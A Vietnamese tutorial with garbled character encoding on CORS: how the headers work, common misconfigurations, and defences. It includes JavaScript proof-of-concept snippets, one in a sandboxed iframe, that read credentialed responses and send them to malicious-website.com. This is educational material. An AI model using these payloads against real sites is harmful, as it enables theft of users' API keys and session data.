๐Cross-origin resource sharing (CORS)
What is CORS ?
Cross-origin resource sharing (CORS) lร mแปt cฦก chแบฟ trรฌnh duyแปt cho phรฉp truy cแบญp tแปi nhiแปu tร i nguyรชn khรกc nhau(nhฦฐ JavaScript, fonts, ...) tแปซ cรกc domain khรกc vแปi domain cแปงa trang ฤรณ.
Nรณ mแป rแปng vร thรชm tรญnh linh hoแบกt cho SOP. Tuy nhiรชn, nรณ cลฉng tiแปm แบฉn nguy cฦก xแบฃy ra cรกc cuแปc tแบฅn cรดng giแปฏa cรกc doamin nแบฟu chรญnh sรกch CORS cแปงa trang web ฤฦฐแปฃc ฤแปnh cแบฅu hรฌnh vร triแปn khai yแบฟu. CORS khรดng phแบฃi lร biแปn phรกp bแบฃo vแป chแปng lแบกi cรกc cuแปc tแบฅn cรดng cross-origin, chแบณng hแบกn nhฦฐ giแบฃ mแบกo yรชu cแบงu trรชn nhiแปu trang web (CSRF).

Same-origin policy
Cรกc bแบกn cรณ thแป ฤแปc mแปt bร i mรฌnh research SOP แป ฤรขy
CORS and the Access-Control-Allow-Origin response header
What is the Access-Control-Allow-Origin response header?
Access-Control-Allow-Origin
header ฤฦฐแปฃc bao gแปm response tแปซ mแปt website tแปi mแปt request gแปc tแปซ mแปt website khรกc vร xรกc ฤแปnh nguแปn gแปc ฤฦฐแปฃc permit cแปงa request. Trรฌnh duyแปt web so sรกnh Access-Control-Allow-Origin
vแปi request gแปc cแปงa trang web vร cho phรฉp truy cแบญp tแปi response nแบฟu chรบng khแปp.
Implementing simple cross-origin resource sharing
Cross-origin resource sharing (CORS) quy ฤแปnh rรต rร ng nแปi dung header giแปฏa cรกc web servers vร cรกc trรฌnh duyแปt mร hแบกn chแบฟ origin cho tร i nguyรชn web request ngแปi domain gแปc. ฤแบทc tแบฃ cแปงa CORS xรกc ฤแปnh rรต mแปt tแบญp hแปฃp cรกc header cแปงa giao thแปฉc trong ฤรณ Access-Control-Allow-Origin lร quan trแปng nhแบฅt. Nhแปฏng cรกi header nร y ฤฦฐแปฃc return bแปi mแปt server khi mแปt website requests mแปt cross-doamin resource vแปi mแปt Origin header ฤฦฐแปฃc thรชm vร o trรฌnh duyแปt.
Vรญ dแปฅ: Giแบฃ sแปญ mแปt website vแปi miแปn gแปc: shang.com thแปฑc hiแปn mแปt cross-domain request sau:
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://shang.com
Server แป sha1vu.com trแบฃ vแป response sau:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://shang.com
Khi ฤรณ trรฌnh duyแปt sแบฝ cho phรฉp code chแบกy trรชn shang.com ฤฦฐแปฃc truy cแบญp tแปi response bแปi vรฌ Origin khแปp nhau.
ฤแบทc tแบฃ cแปงa Access-Control-Allow-Origin cho phรฉp nhiแปu origin(multiple) hoแบทc giรก trแป null hoแบทc kรฝ tแปฑ ฤแบกi diแปn * . Tuy nhiรชn khรดng trรฌnh duyแปt hแป trแปฃ multiple origin vร cรณ nhแปฏng hแบกn chแบฟ vแป viแปc sแปญ dแปฅng kรฝ tแปฑ ฤแบกi diแปn * .
Handling cross-origin resource requests with credentials
Hร nh vi mแบทc ฤแปnh cแปงa request cross-origin resource lร request ฤฦฐแปฃc pass mร khรดng xรกc ฤinh nhฦฐ cookies vร Authorization header. Tuy nhiรชn cross-domain server cรณ thแป cho phรฉp ฤแปc phแบฃn hแปi khi thรดng tin xรกc thแปฑc ฤฦฐแปฃc pass tแปi nรณ bแปi setting cแปงa CORS Access-Control-Allow-Credentials
header lร true. Bรขy giแป nแบฟu request cแปงa website sแปญ dแปฅng JS ฤแป trรฌnh bร y rแบฑng nรณ ฤang gแปญi cookie แป request:
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
Vร response tแปi request lร :
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
Sau ฤรณ trรฌnh duyแปt sแบฝ cho phรฉp request cแปงa website ฤแปc response, bแปi vรฌ Access-Control-Allow-Credentials
response header ฤฦฐแปฃc set lร : true
Relaxation of CORS specifications with wildcards
The header Access-Control-Allow-Origin
hแป trแปฃ kรฝ tแปฑ ฤแบกi diแปn.
Vรญ dแปฅ:
Access-Control-Allow-Origin: *
Ghi chรบ rแบฑng kรฝ tแปฑ ฤแบกi diแปn cรณ thแป khรดng ฤฦฐแปฃc sแปญ dแปฅng vแปi bแบฅt kแปณ giรก trแป nร o. Vรญ dแปฅ header sau ฤรขy khรดng hแปฃp lแป:
Access-Control-Allow-Origin:
https://*.normal-website.com
Tแปซ gรณc ฤแป bแบฃo mแบญt, viแปc sแปญ dแปฅng kรฝ tแปฑ ฤแบกi diแปn bแป hแบกn chแบฟ trong ฤแบทc ฤiแปm kแปน thuแบญt vรฌ bแบกn khรดng thแป kแบฟt hแปฃp kรฝ tแปฑ ฤแบกi diแปn vแปi cross-origin viแปc chuyแปn giao thรดng tin xรกc thแปฑc (xรกc thแปฑc, cookie hoแบทc chแปฉng chแป phรญa khรกch hร ng). Do ฤรณ, cross-domain server response cแปงa form:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Khรดng ฤฦฐแปฃc phรฉp vรฌ ฤiแปu nร y sแบฝ khรดng an toร n, hiแปn thแป bแบฅt kแปณ nแปi dung xรกc thแปฑc nร o trรชn trang web mแปฅc tiรชu cho mแปi ngฦฐแปi.
Vแปi cรกc rร ng buแปc nร y, mแปt sแป mรกy chแปง Web tแปฑ ฤแปng tแบกo ra cรกc Access-Control-Allow-Origin
header dแปฑa trรชn the client-specified origin. ฤรขy lร mแปt cรกch giแบฃi quyแบฟt cho cรกc rร ng buแปc CORS khรดng an toร n.
Pre-flight checks
Pre-flight checks ฤรฃ ฤฦฐแปฃc thรชm vร o ฤแบทc tแบฃ CORS ฤแป bแบฃo vแป tร i nguyรชn kแบฟ thแปซa khแปi cรกc tรนy chแปn yรชu cแบงu mแป rแปng ฤฦฐแปฃc CORS cho phรฉp.
Trong mแปt sแป trฦฐแปng hแปฃp nhแบฅt ฤแปnh, khi yรชu cแบงu tแปซ cross-domain bao gแปm phฦฐฦกng phรกp HTTP hoแบทc tiรชu ฤแป non-standard, cross-origin requests ฤฦฐแปฃc ฤi trฦฐแปc bแปi mแปt yรชu cแบงu sแปญ dแปฅng OPTIONS
method vร CORS protocol cแบงn phแบฃi kiแปm tra method vร header nร o ฤฦฐแปฃc cho phรฉp trฦฐแปc khi cho phรฉp cross-origin request. ฤรขy ฤฦฐแปฃc gแปi lร Prefligh Check. Server sแบฝ trแบฃ vแป mแปt danh sรกch cรกc method ฤฦฐแปฃc phรฉp ngoร i origin ฤรกng tin cแบญy vร kiแปm tra trรฌnh duyแปt ฤแป xem liแปu method cแปงa trang web yรชu cแบงu cรณ ฤฦฐแปฃc phรฉp khรดng.
Vรญ dแปฅ: ฤรขy lร yรชu cแบงu trฦฐแปc chuyแบฟn bay ฤang tรฌm cรกch sแปญ dแปฅng phฦฐฦกng thแปฉc nร y cรนng vแปi tiรชu ฤแป yรชu cแบงu tรนy chแปnh ฤฦฐแปฃc gแปi lร PUT
Special-Request-Header
:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
Server sแบฝ trแบฃ vแป response nhฦฐ sau:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Response nร y set cรกc method ฤฦฐแปฃc cho phรฉp (PUT
, POST
vร OPTIONS
) vร cรกc request header ฤฦฐแปฃc phรฉp (Special-Request-Header). Trong trฦฐแปng hแปฃp cแปฅ thแป nร y, Cross-domain server cลฉng cho phรฉp gแปญi thรดng tin ฤฤng nhแบญp vร Access-Control-Max-Age header
xรกc ฤแปnh khung thแปi gian tแปi ฤa ฤแป lฦฐu trแปฏ pre-flight response
ฤแป sแปญ dแปฅng lแบกi. Nแบฟu cรกc request methods vร headers ฤฦฐแปฃc cho phรฉp (nhฦฐ trong vรญ dแปฅ nร y) thรฌ trรฌnh duyแปt sแบฝ xแปญ lรฝ cross-origin request theo cรกch thรดng thฦฐแปng. Pre-flight
sแบฝ thรชm mแปt extra HTTP request vร o cross-domain request.
Does CORS protect against CSRF?
CORS khรดng cลฉng cแบฅp bแบฃo vแป khแปi tแบฅn cรดng CSRF, ฤรขy lร mแปt nhแบญn ฤแปnh sai lแบงm.
CORS lร ฤฦฐแปฃc kiแปm soรกt nแปi lแปng SOP, do ฤรณ CORS ฤฦฐแปฃc cแบฅu hรฌnh kรฉm/yแบฟu thแปฑc sแปฑ cรณ thแป lร m tฤng khแบฃ nฤng tแบฅn cรดng CSRF.
Cรณ nhiแปu cรกch khรกc nhau ฤแป thแปฑc hiแปn cรกc cuแปc tแบฅn cรดng CSRF mร khรดng cแบงn sแปญ dแปฅng CORS, bao gแปm cรกc hรฌnh thแปฉc HTML ฤฦกn giแบฃn vร bao gแปm cross-domain resource.
Vulnerabilities arising from CORS configuration issues
Nhiแปu trang web hiแปn ฤแบกi sแปญ dแปฅng CORS ฤแป cho phรฉp truy cแบญp tแปซ cรกc domain phแปฅ vร cรกc bรชn thแปฉ ba ฤรกng tin cแบญy. Viแปc thแปฑc hiแปn CORS cแปงa hแป cรณ thแป chแปฉa lแปi hoแบทc chแบฏc chแบฏn ฤแบฃm bแบฃo rแบฑng mแปi thแปฉ hoแบกt ฤแปng bรฌnh thฦฐแปng vร ฤiแปu nร y cรณ thแป dแบซn ฤแบฟn cรกc lแป hแปng cรณ thแป khai thรกc. (Lแป hแปng phรกt sinh tแปซ cรกc vแบฅn ฤแป cแบฅu hรฌnh CORS)\
Server-generated ACAO header from client-specified Origin header
Mแปt sแป แปฉng dแปฅng cแบงn cung cแบฅp quyแปn truy cแบญp vร o mแปt sแป domain khรกc. Duy trรฌ danh sรกch cรกc doamin ฤฦฐแปฃc phรฉp yรชu cแบงu nแป lแปฑc khรดng ngแปซng vร bแบฅt kแปณ sai sรณt nร o cลฉng cรณ nguy cฦก phรก vแปก chแปฉc nฤng. Vรฌ vแบญy, mแปt sแป แปฉng dแปฅng sแปญ dแปฅng con ฤฦฐแปng dแป dร ng ฤแป cho phรฉp truy cแบญp hiแปu quแบฃ tแปซ bแบฅt kแปณ miแปn nร o khรกc.
Mแปt cรกch ฤแป thแปฑc hiแปn viแปc nร y lร ฤแปc Origin header tแปซ cรกc yรชu cแบงu vร bao gแปm response header cho biแบฟt request origin ฤฦฐแปฃc cho phรฉp.
Vรญ dแปฅ: hรฃy xem xรฉt mแปt แปฉng dแปฅng nhแบญn ฤฦฐแปฃc request sau:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Sau ฤรณ nรณ respond vแปi:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Cรกc header nร y cho biแบฟt rแบฑng quyแปn truy cแบญp ฤฦฐแปฃc cho phรฉp tแปซ domain yรชu cแบงu (malicious-website.com
) vร cรกc yรชu cแบงu trรชn nhiแปu origin cรณ thแป bao gแปm cookie (Access-Control-Allow-Credentials: true
) vร do ฤรณ sแบฝ ฤฦฐแปฃc xแปญ lรฝ trong session.
Bแปi vรฌ แปฉng dแปฅng reflect origin tรนy รฝ trong Access-Control-Allow-Origin
header, ฤiแปu nร y cรณ nghฤฉa lร hoร n toร n bแบฅt kแปณ miแปn nร o cลฉng cรณ thแป truy cแบญp tร i nguyรชn tแปซ domain vuln. Nแบฟu response chแปฉa bแบฅt kแปณ thรดng tin nhแบกy cแบฃm nร o nhฦฐ API key hoแบทc token CSRF, bแบกn cรณ thแป truy xuแบฅt ฤiแปu nร y bแบฑng cรกch chแบกy script sau trรชn trang web cแปงa bแบกn:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Errors parsing Origin headers
Mแปt sแป แปฉng dแปฅng hแป trแปฃ quyแปn truy cแบญp tแปซ nhiแปu nguแปn gแปc lร m nhฦฐ vแบญy bแบฑng cรกch sแปญ dแปฅng danh sรกch trแบฏng cรณ nguแปn gแปc ฤฦฐแปฃc phรฉp. Khi nhแบญn ฤฦฐแปฃc yรชu cแบงu CORS, nguแปn gแปc ฤฦฐแปฃc cung cแบฅp ฤฦฐแปฃc so sรกnh vแปi danh sรกch trแบฏng. Nแบฟu nguแปn gแปc xuแบฅt hiแปn trรชn danh sรกch trแบฏng thรฌ nรณ ฤฦฐแปฃc phแบฃn รกnh trong tiรชu ฤแป cรณ nguแปn gแปc kiแปm soรกt truy cแบญp ฤแป truy cแบญp ฤฦฐแปฃc cแบฅp. Vรญ dแปฅ: แปฉng dแปฅng nhแบญn ฤฦฐแปฃc mแปt yรชu cแบงu bรฌnh thฦฐแปng nhฦฐ:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
แปจng dแปฅng kiแปm tra Origin dแปฑa trรชn list of origin ฤฦฐแปฃc phรฉp cแปงa nรณ vร , nแบฟu nรณ nแบฑm trong danh sรกch, reflect origin nhฦฐ sau:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Cรกc lแปi thฦฐแปng phรกt sinh khi triแปn khai whitelists CORS Orgin. Mแปt sแป tแป chแปฉc quyแบฟt ฤแปnh cho phรฉp truy cแบญp tแปซ tแบฅt cแบฃ cรกc domain phแปฅ cแปงa hแป (bao gแปm cแบฃ nhแปฏng subdomain chฦฐa tแปn tแบกi trong tฦฐฦกng lai). Vร mแปt sแป แปฉng dแปฅng cho phรฉp truy cแบญp tแปซ nhiแปu domain cแปงa cรกc tแป chแปฉc khรกc bao gแปm cแบฃ domain phแปฅ cแปงa hแป. Cรกc quy tแบฏc nร y thฦฐแปng ฤฦฐแปฃc triแปn khai bแบฑng cรกch khแปp cรกc tiแปn tแป hoแบทc hแบญu tแป URL hoแบทc sแปญ dแปฅng cรกc biแปu thแปฉc thรดng thฦฐแปng. Bแบฅt kแปณ lแปi nร o trong quรก trรฌnh triแปn khai ฤแปu cรณ thแป dแบซn ฤแบฟn viแปc cแบฅp quyแปn truy cแบญp cho cรกc miแปn bรชn ngoร i ngoร i รฝ muแปn.
Note: Cรกc tแป chแปฉc hay cรกc Group tแบญp ฤoร n thฦฐแปng sแบฝ dรนng mแปt domain chรญnh vร tแปซ ฤรณ chia ra cรกc subdomain cho cรกc mแปฅc ฤรญch khรกc mร hแป cho phรฉp cรกc subdomain cแปงa แปฉng dแปฅng ฤรณ cรณ thแป truy cแบญp tแปi tร i nguyรชn gแปc nhฦฐ lร shang.vn thรฌ blog.shang.vn cลฉng cรณ thแป truy cแบญp tร i nguyรชn gแปc nhฦฐng nแบฟu hacker.shang.com thรฌ cลฉng cรณ thแป...
Vรญ dแปฅ: giแบฃ sแปญ mแปt แปฉng dแปฅng cแบฅp truy cแบญp cho toร n bแป domain kแบฟt thรบc bแบฑng:
normal-website.com
Kแบป tแบฅn cรดng cรณ thแป chiแบฟm ฤฦฐแปฃc truy cแบญp bแบฑng cรกch ฤฤng kรฝ domain kiแปu nhฦฐ nร y:
hackersnormal-website.com
Ngoร i ra nแบฟu แปฉng dแปฅng cแบฅp truy cแบญp cho toร n bแป domain cรณ bแบฏt ฤแบงu bแบฑng:
normal-website.com
Kแบป tแบฅn cรดng cรณ thแป chiแบฟm ฤฦฐแปฃc truy cแบญp bแบฑng cรกch ฤฤng kรฝ domain kiแปu nhฦฐ nร y:
normal-website.com.evil-user.net
Whitelisted null origin value
Thรดng sแป kแปน thuแบญt cho Header Origin trแปฃ giรก trแป . Cรกc trรฌnh duyแปt cรณ thแป gแปญi giรก trแป trong Origin header trong cรกc tรฌnh huแปng bแบฅt thฦฐแปng khรกc nhau: null null
Cross-origin redirects.
Requests from serialized data.
Request using the protocol.
file:
Sandboxed cross-origin requests.
Mแปt sแป แปฉng dแปฅng cรณ thแป ฤฦฐa ra whitelist cรณ orgin ฤแป hแป trแปฃ phรกt triแปn ฤแปa phฦฐฦกng cแปงa แปฉng dแปฅng.
Vรญ dแปฅ: Giแบฃ sแปญ mแปt แปฉng dแปฅng nhแบญn ฤฦฐแปฃc yรชu cแบงu cรณ nguแปn gแปc chรฉo sau: null
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
Vร server respond sแบฝ nhฦฐ nร y:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Trong tรฌnh huแปng nร y, kแบป tแบฅn cรดng cรณ thแป sแปญ dแปฅng cรกc thแปง thuแบญt khรกc nhau ฤแป tแบกo yรชu cแบงu cรณ nguแปn gแปc chรฉo cรณ chแปฉa giรก trแป trong tiรชu ฤแป gแปc. ฤiแปu nร y sแบฝ ฤรกp แปฉng danh sรกch trแบฏng, dแบซn ฤแบฟn truy cแบญp tรชn miแปn chรฉo.
Vรญ dแปฅ: ฤiแปu nร y cรณ thแป ฤฦฐแปฃc thแปฑc hiแปn bแบฑng cรกch sแปญ dแปฅng mแปt sandboxed cross-origin request cแปงa form: null iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Exploiting XSS via CORS trust relationships
Ngay cแบฃ CORS ฤฦฐแปฃc ฤแปnh cแบฅu hรฌnh "correctly" cลฉng thiแบฟt lแบญp mแปi quan hแป tin cแบญy giแปฏa hai nguแปn gแปc. Nแบฟu mแปt trang web tin tฦฐแปng mแปt nguแปn gแปc dแป bแป tแบฅn cรดng bแปi tแบญp lแปnh chรฉo trang (XSS), thรฌ kแบป tแบฅn cรดng cรณ thแป khai thรกc XSS ฤแป tiรชm mแปt sแป JavaScript sแปญ dแปฅng CORS ฤแป truy xuแบฅt thรดng tin nhแบกy cแบฃm tแปซ trang web tin cแบญy แปฉng dแปฅng dแป bแป tแบฅn cรดng.
Cho mแปt request nhฦฐ sau:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
Nแบฟu server phแบฃn hแปi nhฦฐ nร y:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Sau ฤรณ kแบป tแบฅn cรดng tรฌm lแป hแปng XSS ฤแป cรณ thแป trแปm API Key, url nรณ sแบฝ nhฦฐ sau:subdomain.vulnerable-website.com
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Breaking TLS with poorly configured CORS
Giแบฃ sแปญ mแปt แปฉng dแปฅng sแปญ dแปฅng nghiรชm ngแบทt HTTPS cลฉng danh sรกch trแบฏng lร mแปt tรชn miแปn phแปฅ ฤรกng tin cแบญy ฤang sแปญ dแปฅng HTTP ฤฦกn giแบฃn.
Vรญ dแปฅ: khi แปฉng dแปฅng nhแบญn ฤฦฐแปฃc yรชu cแบงu sau:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
แปจng dแปฅng respond nhฦฐ nร y:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Trong tรฌnh huแปng nร y, mแปt kแบป tแบฅn cรดng cรณ thแป chแบทn lฦฐu lฦฐแปฃng truy cแบญp cแปงa ngฦฐแปi dรนng nแบกn nhรขn cรณ thแป khai thรกc cแบฅu hรฌnh CORS ฤแป thแปa hiแปp sแปฑ tฦฐฦกng tรกc cแปงa nแบกn nhรขn vแปi แปฉng dแปฅng. Cuแปc tแบฅn cรดng nร y liรชn quan ฤแบฟn cรกc bฦฐแปc sau:
Ngฦฐแปi dรนng sแปญa dแปฅng bแบฅt kแปณ HTTP request nร o
Kแบป tแบฅn cรดng sแบฝ inject mแปt redirection tแปi:
http://trusted-subdomain.vulnerable-website.com
Trรฌnh duyแปt cแปงa nแบกn nhรขn sแบฝ follow chuyแปn hฦฐแปng:
Kแบป tแบฅn cรดng chแบทn HTTP request ฤฦกn giแบฃn vร return mแปt response giแบฃ mแบกo chแปฉ mแปt CORS request tแปi:
https://vulnerable-website.com
Trรฌnh duyแปt nแบกn nhรขn sแบฝ tแบกo CORS request bao gแปm origin:
http://trusted-subdomain.vulnerable-website.com
แปจng dแปฅng cho phรฉp request vรฌ ฤรขy lร a whitelisted origin. Dแปฏ liแปu nhแบกy cแบฃm ฤฦฐแปฃc ฤฦฐแปฃc trแบฃ vแป trong response.
Trang giแบฃ mแบกo cแปงa kแบป tแบฅn cรดng cรณ thแป ฤแปc dแปฏ liแปu nhแบกy cแบฃm vร truyแปn dแปฏ liแปu ฤรณ ฤแบฟn bแบฅt kแปณ domain nร o dฦฐแปi sแปฑ kiแปm soรกt cแปงa kแบป tแบฅn cรดng.
Cuแปc tแบฅn cรดng nร y cรณ hiแปu quแบฃ ngay cแบฃ khi trang web dแป bแป tแบฅn cรดng mแบกnh mแบฝ trong viแปc sแปญ dแปฅng HTTPS, khรดng cรณ endpoint HTTP vร tแบฅt cแบฃ cรกc cookie ฤฦฐแปฃc gแบฏn flag lร an toร n.
Intranets and CORS without credentials
Hแบงu hแบฟt tแบฅn cรดng CORS dแปฑa vร o sแปฑ hiแปn diแปn cแปงa header response:
Access-Control-Allow-Credentials: true
Nแบฟu khรดng cรณ header ฤรณ, trรฌnh duyแปt cแปงa ngฦฐแปi dรนng nแบกn nhรขn sแบฝ tแปซ chแปi gแปญi cookie cแปงa hแป, cรณ nghฤฉa lร kแบป tแบฅn cรดng sแบฝ chแป cรณ quyแปn truy cแบญp vร o nแปi dung khรดng xรกc thแปฑc mร hแป cรณ thแป dแป dร ng truy cแบญp bแบฑng cรกch duyแปt trแปฑc tiแบฟp vร o trang web ฤรญch.
Tuy nhiรชn, cรณ mแปt tรฌnh huแปng phแป biแบฟn trong ฤรณ kแบป tแบฅn cรดng khรดng thแป truy cแบญp trแปฑc tiแบฟp vร o mแปt trang web: khi ฤรณ lร mแปt phแบงn cแปงa mแบกng nแปi bแป cแปงa tแป chแปฉc vร nแบฑm trong khรดng gian ฤแปa chแป IP riรชng tฦฐ. Cรกc trang web nแปi bแป thฦฐแปng ฤฦฐแปฃc giแปฏ แป mแปt tiรชu chuแบฉn bแบฃo mแบญt thแบฅp hฦกn so vแปi cรกc trang web bรชn ngoร i, cho phรฉp kแบป tแบฅn cรดng tรฌm thแบฅy cรกc lแป hแปng vร truy cแบญp thรชm.
Vรญ dแปฅ: Cross-origin request trong mแบกng private cรณ thแป nhฦฐ sau:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
Server tra vแป:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Mรกy chแปง แปฉng dแปฅng ฤang trust cรกc yรชu cแบงu tร i nguyรชn tแปซ bแบฅt kแปณ origin nร o mร khรดng cแบงn thรดng tin ฤฤng nhแบญp. Nแบฟu ngฦฐแปi dรนng trong khรดng gian ฤแปa chแป IP riรชng tฦฐ truy cแบญp Internet cรดng khai thรฌ cรณ thแป thแปฑc hiแปn cuแปc tแบฅn cรดng dแปฑa trรชn CORS tแปซ trang web bรชn ngoร i sแปญ dแปฅng trรฌnh duyแปt cแปงa nแบกn nhรขn lร m proxy ฤแป truy cแบญp tร i nguyรชn mแบกng nแปi bแป.
How to prevent CORS-based attacks
Cรกc lแป hแปng CORS phรกt sinh chแปง yแบฟu dฦฐแปi dแบกng cแบฅu hรฌnh sai. Do ฤรณ, phรฒng ngแปซa lร mแปt vแบฅn ฤแป cแบฅu hรฌnh. Cรกc phแบงn sau ฤรขy mรด tแบฃ mแปt sแป biแปn phรกp phรฒng thแปง hiแปu quแบฃ chแปng lแบกi cรกc cuแปc tแบฅn cรดng CORS.
Proper configuration of cross-origin requests
Nแบฟu mแปt tร i nguyรชn web chแปฉa thรดng tin nhแบกy cแบฃm, nguแปn gแปc phแบฃi ฤฦฐแปฃc chแป ฤแปnh ฤรบng trong header: Access-Control-Allow-Origin
Only allow trusted sites
Nรณ cรณ vแบป hiแปn nhiรชn nhฦฐng Origin ฤฦฐแปฃc chแป ฤแปnh trong header chแป nรชn lร cรกc trang web ฤรกng tin cแบญy. ฤแบทc biแปt, viแปc reflect orgin tแปซ cรกc cross-origin requests mร khรดng cแบงn xรกc thแปฑc cรณ thแป dแป
dร ng khai thรกc vร nรชn trรกnh. Access-Control-Allow-Origin
Avoid whitelisting null
Trรกnh sแปญ dแปฅng header . Cross-origin resource gแปi tแปซ cรกc tร i liแปu nแปi bแป vร sandboxed requests cรณ thแป chแป ฤแปnh Origin. CORS header nรชn ฤฦฐแปฃc xรกc ฤแปnh ฤรบng ฤแปi vแปi Origin ฤรกng tin cแบญy cho cรกc mรกy chแปง riรชng vร cรดng cแปng. Access-Control-Allow-Origin: null null
Avoid wildcards in internal networks
Trรกnh sแปญ dแปฅng kรฝ tแปฑ ฤแบกi diแปn trong mแบกng nแปi bแป. Chแป tin tฦฐแปng cแบฅu hรฌnh mแบกng ฤแป bแบฃo vแป tร i nguyรชn nแปi bแป lร khรดng ฤแปง khi cรกc trรฌnh duyแปt nแปi bแป cรณ thแป truy cแบญp cรกc domain bรชn ngoร i khรดng ฤรกng tin cแบญy.
CORS is not a substitute for server-side security policies
CORS xรกc ฤแปnh cรกc hร nh vi cแปงa trรฌnh duyแปt vร khรดng bao giแป thay thแบฟ cho viแปc bแบฃo vแป dแปฏ liแปu nhแบกy cแบฃm phรญa mรกy chแปง - kแบป tแบฅn cรดng cรณ thแป trแปฑc tiแบฟp giแบฃ mแบกo yรชu cแบงu tแปซ bแบฅt kแปณ nguแปn ฤรกng tin cแบญy nร o. Do ฤรณ, mรกy chแปง web nรชn tiแบฟp tแปฅc รกp dแปฅng cรกc biแปn phรกp bแบฃo vแป ฤแปi vแปi dแปฏ liแปu nhแบกy cแบฃm, chแบณng hแบกn nhฦฐ authentication vร session management, ngoร i CORS ฤฦฐแปฃc ฤแปnh cแบฅu hรฌnh ฤรบng.
______________________________________________Hแบฟt___________________________________________________
Last updated